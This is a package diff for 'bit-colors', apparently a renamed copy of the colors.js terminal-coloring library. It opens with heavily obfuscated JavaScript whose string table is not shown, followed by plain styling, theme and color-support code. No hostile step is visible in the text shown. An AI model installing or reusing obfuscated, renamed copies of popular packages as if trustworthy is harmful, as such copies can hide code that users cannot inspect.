_0x18a294=_0x5d41c3,_0x4c9970=Array[_0x18a294(0xb1)][_0x18a294(0xbc)][_0x18a294(0xe5)](arguments),_0x200acb=_0x4c9970[_0x18a294(0xd8)](function(_0x43a135){return _0x43a135!=null&&_0x43a135['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']===String?_0x43a135:util['\x69\x6e\x73\x70\x65\x63\x74'](_0x43a135);})[_0x18a294(0xdc)]('\x20');if(!colors['\x65\x6e\x61\x62\x6c\x65\x64']||!_0x200acb)return _0x200acb;var _0x2f9e48=_0x200acb['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!=-0x1,_0x5a4921=this['\x5f\x73\x74\x79\x6c\x65\x73'],_0x7fd1b5=_0x5a4921[_0x18a294(0xbd)];while(_0x7fd1b5--){var _0x1e2b6b=ansiStyles[_0x5a4921[_0x7fd1b5]];_0x200acb=_0x1e2b6b[_0x18a294(0xd6)]+_0x200acb[_0x18a294(0xe7)](_0x1e2b6b[_0x18a294(0xbf)],_0x1e2b6b[_0x18a294(0xd6)])+_0x1e2b6b[_0x18a294(0xaf)],_0x2f9e48&&(_0x200acb=_0x200acb[_0x18a294(0xe7)](newLineRegex,function(_0x3c260e){return _0x1e2b6b['\x63\x6c\x6f\x73\x65']+_0x3c260e+_0x1e2b6b['\x6f\x70\x65\x6e'];}));}return _0x200acb;}colors['\x73\x65\x74\x54\x68\x65\x6d\x65']=function(_0x432541){var _0x4052ac=_0x5d41c3;if(typeof _0x432541===_0x4052ac(0xc3)){console['\x6c\x6f\x67']('\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x20\x6e\x6f\x77\x20\x6f\x6e\x6c\x79\x20\x61\x63\x63\x65\x70\x74\x73\x20\x61\x6e\x20\x6f\x62\x6a\x65\x63\x74\x2c\x20\x6e\x6f\x74\x20\x61\x20\x73\x74\x72\x69\x6e\x67\x2e\x20\x20'+_0x4052ac(0xc2)+_0x4052ac(0xc1)+'\x6c\x6f\x6f\x6b\x65\x64\x20\x6c\x69\x6b\x65\x20\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x28\x5f\x5f\x64\x69\x72\x6e\x61\x6d\x65\x20\x2b\x20'+_0x4052ac(0xad)+_0x4052ac(0xca)+_0x4052ac(0xe2));return;}for(var _0x30a263 in _0x432541){(function(_0x9f1934){colors[_0x9f1934]=function(_0x49e4f3){var _0x57ff42=_0x41d2;if(typeof _0x432541[_0x9f1934]===_0x57ff42(0xb8)){var _0x29f728=_0x49e4f3;for(var _0x202de2 in _0x432541[_0x9f1934]){_0x29f728=colors[_0x432541[_0x9f1934][_0x202de2]](_0x29f728);}return _0x29f728;}return colors[_0x432541[_0x9f1934]](_0x49e4f3);};}(_0x30a263));}};function init(){var _0xdedd15=_0x5d41c3,_0x5d5b02={};return Object[_0xdedd15(0xcb)](styles)[_0xdedd15(0xc7)](function(_0x3f2094){_0x5d5b02[_0x3f2094]={'\x67\x65\x74':function(){return build([_0x3f2094]);}};}),_0x5d5b02;}var sequencer=function sequencer(_0x38cacd,_0x4b46ba){var _0x309343=_0x5d41c3,_0x30cb6c=_0x4b46ba[_0x309343(0xd9)]('');return _0x30cb6c=_0x30cb6c[_0x309343(0xd8)](_0x38cacd),_0x30cb6c[_0x309343(0xdc)]('');};colors['\x74\x72\x61\x70']=require(_0x5d41c3(0xda)),colors[_0x5d41c3(0xcd)]=require(_0x5d41c3(0xb3)),colors[_0x5d41c3(0xb5)]={},colors[_0x5d41c3(0xb5)]['\x61\x6d\x65\x72\x69\x63\x61']=require(_0x5d41c3(0xc0))(colors),colors[_0x5d41c3(0xb5)][_0x5d41c3(0xc9)]=require('\x2e\x2f\x6d\x61\x70\x73\x2f\x7a\x65\x62\x72\x61')(colors),colors[_0x5d41c3(0xb5)]['\x72\x61\x69\x6e\x62\x6f\x77']=require(_0x5d41c3(0xe3))(colors),colors[_0x5d41c3(0xb5)][_0x5d41c3(0xd2)]=require(_0x5d41c3(0xcf))(colors);for(var map in colors['\x6d\x61\x70\x73']){(function(_0x1284cb){colors[_0x1284cb]=function(_0x1da270){var _0x246155=_0x41d2;return sequencer(colors[_0x246155(0xb5)][_0x1284cb],_0x1da270);};}(map));}defineProps(colors,init());
|
@@ -0,0 +1,46 @@
|
|
1
|
+
module['exports'] = function runTheTrap(text, options) {
|
2
|
+
var result = '';
|
3
|
+
text = text || 'Run the trap, drop the bass';
|
4
|
+
text = text.split('');
|
5
|
+
var trap = {
|
6
|
+
a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
|
7
|
+
b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
|
8
|
+
c: ['\u00a9', '\u023b', '\u03fe'],
|
9
|
+
d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
|
10
|
+
e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
|
11
|
+
'\u0a6c'],
|
12
|
+
f: ['\u04fa'],
|
13
|
+
g: ['\u0262'],
|
14
|
+
h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
|
15
|
+
i: ['\u0f0f'],
|
16
|
+
j: ['\u0134'],
|
17
|
+
k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
|
18
|
+
l: ['\u0139'],
|
19
|
+
m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
|
20
|
+
n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
|
21
|
+
o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
|
22
|
+
'\u06dd', '\u0e4f'],
|
23
|
+
p: ['\u01f7', '\u048e'],
|
24
|
+
q: ['\u09cd'],
|
25
|
+
r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
|
26
|
+
s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
|
27
|
+
t: ['\u0141', '\u0166', '\u0373'],
|
28
|
+
u: ['\u01b1', '\u054d'],
|
29
|
+
v: ['\u05d8'],
|
30
|
+
w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
|
31
|
+
x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
|
32
|
+
y: ['\u00a5', '\u04b0', '\u04cb'],
|
33
|
+
z: ['\u01b5', '\u0240'],
|
34
|
+
};
|
35
|
+
text.forEach(function(c) {
|
36
|
+
c = c.toLowerCase();
|
37
|
+
var chars = trap[c] || [' '];
|
38
|
+
var rand = Math.floor(Math.random() * chars.length);
|
39
|
+
if (typeof trap[c] !== 'undefined') {
|
40
|
+
result += trap[c][rand];
|
41
|
+
} else {
|
42
|
+
result += c;
|
43
|
+
}
|
44
|
+
});
|
45
|
+
return result;
|
46
|
+
};
|
@@ -0,0 +1,110 @@
|
|
1
|
+
// please no
|
2
|
+
module['exports'] = function zalgo(text, options) {
|
3
|
+
text = text || ' he is here ';
|
4
|
+
var soul = {
|
5
|
+
'up': [
|
6
|
+
'̍', '̎', '̄', '̅',
|
7
|
+
'̿', '̑', '̆', '̐',
|
8
|
+
'͒', '͗', '͑', '̇',
|
9
|
+
'̈', '̊', '͂', '̓',
|
10
|
+
'̈', '͊', '͋', '͌',
|
11
|
+
'̃', '̂', '̌', '͐',
|
12
|
+
'̀', '́', '̋', '̏',
|
13
|
+
'̒', '̓', '̔', '̽',
|
14
|
+
'̉', 'ͣ', 'ͤ', 'ͥ',
|
15
|
+
'ͦ', 'ͧ', 'ͨ', 'ͩ',
|
16
|
+
'ͪ', 'ͫ', 'ͬ', 'ͭ',
|
17
|
+
'ͮ', 'ͯ', '̾', '͛',
|
18
|
+
'͆', '̚',
|
19
|
+
],
|
20
|
+
'down': [
|
21
|
+
'̖', '̗', '̘', '̙',
|
22
|
+
'̜', '̝', '̞', '̟',
|
23
|
+
'̠', '̤', '̥', '̦',
|
24
|
+
'̩', '̪', '̫', '̬',
|
25
|
+
'̭', '̮', '̯', '̰',
|
26
|
+
'̱', '̲', '̳', '̹',
|
27
|
+
'̺', '̻', '̼', 'ͅ',
|
28
|
+
'͇', '͈', '͉', '͍',
|
29
|
+
'͎', '͓', '͔', '͕',
|
30
|
+
'͖', '͙', '͚', '̣',
|
31
|
+
],
|
32
|
+
'mid': [
|
33
|
+
'̕', '̛', '̀', '́',
|
34
|
+
'͘', '̡', '̢', '̧',
|
35
|
+
'̨', '̴', '̵', '̶',
|
36
|
+
'͜', '͝', '͞',
|
37
|
+
'͟', '͠', '͢', '̸',
|
38
|
+
'̷', '͡', ' ҉',
|
39
|
+
],
|
40
|
+
};
|
41
|
+
var all = [].concat(soul.up, soul.down, soul.mid);
|
42
|
+
|
43
|
+
function randomNumber(range) {
|
44
|
+
var r = Math.floor(Math.random() * range);
|
45
|
+
return r;
|
46
|
+
}
|
47
|
+
|
48
|
+
function isChar(character) {
|
49
|
+
var bool = false;
|
50
|
+
all.filter(function(i) {
|
51
|
+
bool = (i === character);
|
52
|
+
});
|
53
|
+
return bool;
|
54
|
+
}
|
55
|
+
|
56
|
+
|
57
|
+
function heComes(text, options) {
|
58
|
+
var result = '';
|
59
|
+
var counts;
|
60
|
+
var l;
|
61
|
+
options = options || {};
|
62
|
+
options['up'] =
|
63
|
+
typeof options['up'] !== 'undefined' ? options['up'] : true;
|
64
|
+
options['mid'] =
|
65
|
+
typeof options['mid'] !== 'undefined' ? options['mid'] : true;
|
66
|
+
options['down'] =
|
67
|
+
typeof options['down'] !== 'undefined' ? options['down'] : true;
|
68
|
+
options['size'] =
|
69
|
+
typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
|
70
|
+
text = text.split('');
|
71
|
+
for (l in text) {
|
72
|
+
if (isChar(l)) {
|
73
|
+
continue;
|
74
|
+
}
|
75
|
+
result = result + text[l];
|
76
|
+
counts = {'up': 0, 'down': 0, 'mid': 0};
|
77
|
+
switch (options.size) {
|
78
|
+
case 'mini':
|
79
|
+
counts.up = randomNumber(8);
|
80
|
+
counts.mid = randomNumber(2);
|
81
|
+
counts.down = randomNumber(8);
|
82
|
+
break;
|
83
|
+
case 'maxi':
|
84
|
+
counts.up = randomNumber(16) + 3;
|
85
|
+
counts.mid = randomNumber(4) + 1;
|
86
|
+
counts.down = randomNumber(64) + 3;
|
87
|
+
break;
|
88
|
+
default:
|
89
|
+
counts.up = randomNumber(8) + 1;
|
90
|
+
counts.mid = randomNumber(6) / 2;
|
91
|
+
counts.down = randomNumber(8) + 1;
|
92
|
+
break;
|
93
|
+
}
|
94
|
+
|
95
|
+
var arr = ['up', 'mid', 'down'];
|
96
|
+
for (var d in arr) {
|
97
|
+
var index = arr[d];
|
98
|
+
for (var i = 0; i <= counts[index]; i++) {
|
99
|
+
if (options[index]) {
|
100
|
+
result = result + soul[index][randomNumber(soul[index].length)];
|
101
|
+
}
|
102
|
+
}
|
103
|
+
}
|
104
|
+
}
|
105
|
+
return result;
|
106
|
+
}
|
107
|
+
// don't summon him
|
108
|
+
return heComes(text, options);
|
109
|
+
};
|
110
|
+
|
@@ -0,0 +1,110 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
|
3
|
+
module['exports'] = function() {
|
4
|
+
//
|
5
|
+
// Extends prototype of native string object to allow for "foo".red syntax
|
6
|
+
//
|
7
|
+
var addProperty = function(color, func) {
|
8
|
+
String.prototype.__defineGetter__(color, func);
|
9
|
+
};
|
10
|
+
|
11
|
+
addProperty('strip', function() {
|
12
|
+
return colors.strip(this);
|
13
|
+
});
|
14
|
+
|
15
|
+
addProperty('stripColors', function() {
|
16
|
+
return colors.strip(this);
|
17
|
+
});
|
18
|
+
|
19
|
+
addProperty('trap', function() {
|
20
|
+
return colors.trap(this);
|
21
|
+
});
|
22
|
+
|
23
|
+
addProperty('zalgo', function() {
|
24
|
+
return colors.zalgo(this);
|
25
|
+
});
|
26
|
+
|
27
|
+
addProperty('zebra', function() {
|
28
|
+
return colors.zebra(this);
|
29
|
+
});
|
30
|
+
|
31
|
+
addProperty('rainbow', function() {
|
32
|
+
return colors.rainbow(this);
|
33
|
+
});
|
34
|
+
|
35
|
+
addProperty('random', function() {
|
36
|
+
return colors.random(this);
|
37
|
+
});
|
38
|
+
|
39
|
+
addProperty('america', function() {
|
40
|
+
return colors.america(this);
|
41
|
+
});
|
42
|
+
|
43
|
+
//
|
44
|
+
// Iterate through all default styles and colors
|
45
|
+
//
|
46
|
+
var x = Object.keys(colors.styles);
|
47
|
+
x.forEach(function(style) {
|
48
|
+
addProperty(style, function() {
|
49
|
+
return colors.stylize(this, style);
|
50
|
+
});
|
51
|
+
});
|
52
|
+
|
53
|
+
function applyTheme(theme) {
|
54
|
+
//
|
55
|
+
// Remark: This is a list of methods that exist
|
56
|
+
// on String that you should not overwrite.
|
57
|
+
//
|
58
|
+
var stringPrototypeBlacklist = [
|
59
|
+
'__defineGetter__', '__defineSetter__', '__lookupGetter__',
|
60
|
+
'__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
|
61
|
+
'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
|
62
|
+
'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
|
63
|
+
'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
|
64
|
+
'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
|
65
|
+
'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
|
66
|
+
];
|
67
|
+
|
68
|
+
Object.keys(theme).forEach(function(prop) {
|
69
|
+
if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
|
70
|
+
console.log('warn: '.red + ('String.prototype' + prop).magenta +
|
71
|
+
' is probably something you don\'t want to override. ' +
|
72
|
+
'Ignoring style name');
|
73
|
+
} else {
|
74
|
+
if (typeof(theme[prop]) === 'string') {
|
75
|
+
colors[prop] = colors[theme[prop]];
|
76
|
+
addProperty(prop, function() {
|
77
|
+
return colors[prop](this);
|
78
|
+
});
|
79
|
+
} else {
|
80
|
+
var themePropApplicator = function(str) {
|
81
|
+
var ret = str || this;
|
82
|
+
for (var t = 0; t < theme[prop].length; t++) {
|
83
|
+
ret = colors[theme[prop][t]](ret);
|
84
|
+
}
|
85
|
+
return ret;
|
86
|
+
};
|
87
|
+
addProperty(prop, themePropApplicator);
|
88
|
+
colors[prop] = function(str) {
|
89
|
+
return themePropApplicator(str);
|
90
|
+
};
|
91
|
+
}
|
92
|
+
}
|
93
|
+
});
|
94
|
+
}
|
95
|
+
|
96
|
+
colors.setTheme = function(theme) {
|
97
|
+
if (typeof theme === 'string') {
|
98
|
+
console.log('colors.setTheme now only accepts an object, not a string. ' +
|
99
|
+
'If you are trying to set a theme from a file, it is now your (the ' +
|
100
|
+
'caller\'s) responsibility to require the file. The old syntax ' +
|
101
|
+
'looked like colors.setTheme(__dirname + ' +
|
102
|
+
'\'/../themes/generic-logging.js\'); The new syntax looks like '+
|
103
|
+
'colors.setTheme(require(__dirname + ' +
|
104
|
+
'\'/../themes/generic-logging.js\'));');
|
105
|
+
return;
|
106
|
+
} else {
|
107
|
+
applyTheme(theme);
|
108
|
+
}
|
109
|
+
};
|
110
|
+
};
|
package/lib/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
module['exports'] = colors;
|
3
|
+
|
4
|
+
// Remark: By default, colors will add style properties to String.prototype.
|
5
|
+
//
|
6
|
+
// If you don't wish to extend String.prototype, you can do this instead and
|
7
|
+
// native String will not be touched:
|
8
|
+
//
|
9
|
+
// var colors = require('colors/safe);
|
10
|
+
// colors.red("foo")
|
11
|
+
//
|
12
|
+
//
|
13
|
+
require('./extendStringPrototype')();
|
@@ -0,0 +1,10 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
return function(letter, i, exploded) {
|
3
|
+
if (letter === ' ') return letter;
|
4
|
+
switch (i%3) {
|
5
|
+
case 0: return colors.red(letter);
|
6
|
+
case 1: return colors.white(letter);
|
7
|
+
case 2: return colors.blue(letter);
|
8
|
+
}
|
9
|
+
};
|
10
|
+
};
|
@@ -0,0 +1,12 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
// RoY G BiV
|
3
|
+
var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
|
4
|
+
return function(letter, i, exploded) {
|
5
|
+
if (letter === ' ') {
|
6
|
+
return letter;
|
7
|
+
} else {
|
8
|
+
return colors[rainbowColors[i++ % rainbowColors.length]](letter);
|
9
|
+
}
|
10
|
+
};
|
11
|
+
};
|
12
|
+
|
@@ -0,0 +1,11 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
|
3
|
+
'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
|
4
|
+
'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
|
5
|
+
return function(letter, i, exploded) {
|
6
|
+
return letter === ' ' ? letter :
|
7
|
+
colors[
|
8
|
+
available[Math.round(Math.random() * (available.length - 2))]
|
9
|
+
](letter);
|
10
|
+
};
|
11
|
+
};
|
package/lib/styles.js
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
var styles = {};
|
27
|
+
module['exports'] = styles;
|
28
|
+
|
29
|
+
var codes = {
|
30
|
+
reset: [0, 0],
|
31
|
+
|
32
|
+
bold: [1, 22],
|
33
|
+
dim: [2, 22],
|
34
|
+
italic: [3, 23],
|
35
|
+
underline: [4, 24],
|
36
|
+
inverse: [7, 27],
|
37
|
+
hidden: [8, 28],
|
38
|
+
strikethrough: [9, 29],
|
39
|
+
|
40
|
+
black: [30, 39],
|
41
|
+
red: [31, 39],
|
42
|
+
green: [32, 39],
|
43
|
+
yellow: [33, 39],
|
44
|
+
blue: [34, 39],
|
45
|
+
magenta: [35, 39],
|
46
|
+
cyan: [36, 39],
|
47
|
+
white: [37, 39],
|
48
|
+
gray: [90, 39],
|
49
|
+
grey: [90, 39],
|
50
|
+
|
51
|
+
brightRed: [91, 39],
|
52
|
+
brightGreen: [92, 39],
|
53
|
+
brightYellow: [93, 39],
|
54
|
+
brightBlue: [94, 39],
|
55
|
+
brightMagenta: [95, 39],
|
56
|
+
brightCyan: [96, 39],
|
57
|
+
brightWhite: [97, 39],
|
58
|
+
|
59
|
+
bgBlack: [40, 49],
|
60
|
+
bgRed: [41, 49],
|
61
|
+
bgGreen: [42, 49],
|
62
|
+
bgYellow: [43, 49],
|
63
|
+
bgBlue: [44, 49],
|
64
|
+
bgMagenta: [45, 49],
|
65
|
+
bgCyan: [46, 49],
|
66
|
+
bgWhite: [47, 49],
|
67
|
+
bgGray: [100, 49],
|
68
|
+
bgGrey: [100, 49],
|
69
|
+
|
70
|
+
bgBrightRed: [101, 49],
|
71
|
+
bgBrightGreen: [102, 49],
|
72
|
+
bgBrightYellow: [103, 49],
|
73
|
+
bgBrightBlue: [104, 49],
|
74
|
+
bgBrightMagenta: [105, 49],
|
75
|
+
bgBrightCyan: [106, 49],
|
76
|
+
bgBrightWhite: [107, 49],
|
77
|
+
|
78
|
+
// legacy styles for colors pre v1.0.0
|
79
|
+
blackBG: [40, 49],
|
80
|
+
redBG: [41, 49],
|
81
|
+
greenBG: [42, 49],
|
82
|
+
yellowBG: [43, 49],
|
83
|
+
blueBG: [44, 49],
|
84
|
+
magentaBG: [45, 49],
|
85
|
+
cyanBG: [46, 49],
|
86
|
+
whiteBG: [47, 49],
|
87
|
+
|
88
|
+
};
|
89
|
+
|
90
|
+
Object.keys(codes).forEach(function(key) {
|
91
|
+
var val = codes[key];
|
92
|
+
var style = styles[key] = [];
|
93
|
+
style.open = '\u001b[' + val[0] + 'm';
|
94
|
+
style.close = '\u001b[' + val[1] + 'm';
|
95
|
+
});
|
@@ -0,0 +1,35 @@
|
|
1
|
+
/*
|
2
|
+
MIT License
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
7
|
+
this software and associated documentation files (the "Software"), to deal in
|
8
|
+
the Software without restriction, including without limitation the rights to
|
9
|
+
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
10
|
+
of the Software, and to permit persons to whom the Software is furnished to do
|
11
|
+
so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in all
|
14
|
+
copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
22
|
+
SOFTWARE.
|
23
|
+
*/
|
24
|
+
|
25
|
+
'use strict';
|
26
|
+
|
27
|
+
module.exports = function(flag, argv) {
|
28
|
+
argv = argv || process.argv;
|
29
|
+
|
30
|
+
var terminatorPos = argv.indexOf('--');
|
31
|
+
var prefix = /^-{1,2}/.test(flag) ? '' : '--';
|
32
|
+
var pos = argv.indexOf(prefix + flag);
|
33
|
+
|
34
|
+
return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
|
35
|
+
};
|
@@ -0,0 +1,151 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
'use strict';
|
27
|
+
|
28
|
+
var os = require('os');
|
29
|
+
var hasFlag = require('./has-flag.js');
|
30
|
+
|
31
|
+
var env = process.env;
|
32
|
+
|
33
|
+
var forceColor = void 0;
|
34
|
+
if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
|
35
|
+
forceColor = false;
|
36
|
+
} else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
|
37
|
+
|| hasFlag('color=always')) {
|
38
|
+
forceColor = true;
|
39
|
+
}
|
40
|
+
if ('FORCE_COLOR' in env) {
|
41
|
+
forceColor = env.FORCE_COLOR.length === 0
|
42
|
+
|| parseInt(env.FORCE_COLOR, 10) !== 0;
|
43
|
+
}
|
44
|
+
|
45
|
+
function translateLevel(level) {
|
46
|
+
if (level === 0) {
|
47
|
+
return false;
|
48
|
+
}
|
49
|
+
|
50
|
+
return {
|
51
|
+
level: level,
|
52
|
+
hasBasic: true,
|
53
|
+
has256: level >= 2,
|
54
|
+
has16m: level >= 3,
|
55
|
+
};
|
56
|
+
}
|
57
|
+
|
58
|
+
function supportsColor(stream) {
|
59
|
+
if (forceColor === false) {
|
60
|
+
return 0;
|
61
|
+
}
|
62
|
+
|
63
|
+
if (hasFlag('color=16m') || hasFlag('color=full')
|
64
|
+
|| hasFlag('color=truecolor')) {
|
65
|
+
return 3;
|
66
|
+
}
|
67
|
+
|
68
|
+
if (hasFlag('color=256')) {
|
69
|
+
return 2;
|
70
|
+
}
|
71
|
+
|
72
|
+
if (stream && !stream.isTTY && forceColor !== true) {
|
73
|
+
return 0;
|
74
|
+
}
|
75
|
+
|
76
|
+
var min = forceColor ? 1 : 0;
|
77
|
+
|
78
|
+
if (process.platform === 'win32') {
|
79
|
+
// Node.js 7.5.0 is the first version of Node.js to include a patch to
|
80
|
+
// libuv that enables 256 color output on Windows. Anything earlier and it
|
81
|
+
// won't work. However, here we target Node.js 8 at minimum as it is an LTS
|
82
|
+
// release, and Node.js 7 is not. Windows 10 build 10586 is the first
|
83
|
+
// Windows release that supports 256 colors. Windows 10 build 14931 is the
|
84
|
+
// first release that supports 16m/TrueColor.
|
85
|
+
var osRelease = os.release().split('.');
|
86
|
+
if (Number(process.versions.node.split('.')[0]) >= 8
|
87
|
+
&& Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
|
88
|
+
return Number(osRelease[2]) >= 14931 ? 3 : 2;
|
89
|
+
}
|
90
|
+
|
91
|
+
return 1;
|
92
|
+
}
|
93
|
+
|
94
|
+
if ('CI' in env) {
|
95
|
+
if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
|
96
|
+
return sign in env;
|
97
|
+
}) || env.CI_NAME === 'codeship') {
|
98
|
+
return 1;
|
99
|
+
}
|
100
|
+
|
101
|
+
return min;
|
102
|
+
}
|
103
|
+
|
104
|
+
if ('TEAMCITY_VERSION' in env) {
|
105
|
+
return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
|
106
|
+
);
|
107
|
+
}
|
108
|
+
|
109
|
+
if ('TERM_PROGRAM' in env) {
|
110
|
+
var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
|
111
|
+
|
112
|
+
switch (env.TERM_PROGRAM) {
|
113
|
+
case 'iTerm.app':
|
114
|
+
return version >= 3 ? 3 : 2;
|
115
|
+
case 'Hyper':
|
116
|
+
return 3;
|
117
|
+
case 'Apple_Terminal':
|
118
|
+
return 2;
|
119
|
+
// No default
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
if (/-256(color)?$/i.test(env.TERM)) {
|
124
|
+
return 2;
|
125
|
+
}
|
126
|
+
|
127
|
+
if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
|
128
|
+
return 1;
|
129
|
+
}
|
130
|
+
|
131
|
+
if ('COLORTERM' in env) {
|
132
|
+
return 1;
|
133
|
+
}
|
134
|
+
|
135
|
+
if (env.TERM === 'dumb') {
|
136
|
+
return min;
|
137
|
+
}
|
138
|
+
|
139
|
+
return min;
|
140
|
+
}
|
141
|
+
|
142
|
+
function getSupportLevel(stream) {
|
143
|
+
var level = supportsColor(stream);
|
144
|
+
return translateLevel(level);
|
145
|
+
}
|
146
|
+
|
147
|
+
module.exports = {
|
148
|
+
supportsColor: getSupportLevel,
|
149
|
+
stdout: getSupportLevel(process.stdout),
|
150
|
+
stderr: getSupportLevel(process.stderr),
|
151
|
+
};
|
package/package.json
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
{
|
2
|
+
"name": "bit-colors",
|
3
|
+
"description": "get colors in your node.js console",
|
4
|
+
"version": "1.4.0",
|
5
|
+
"author": "Marak Squires",
|
6
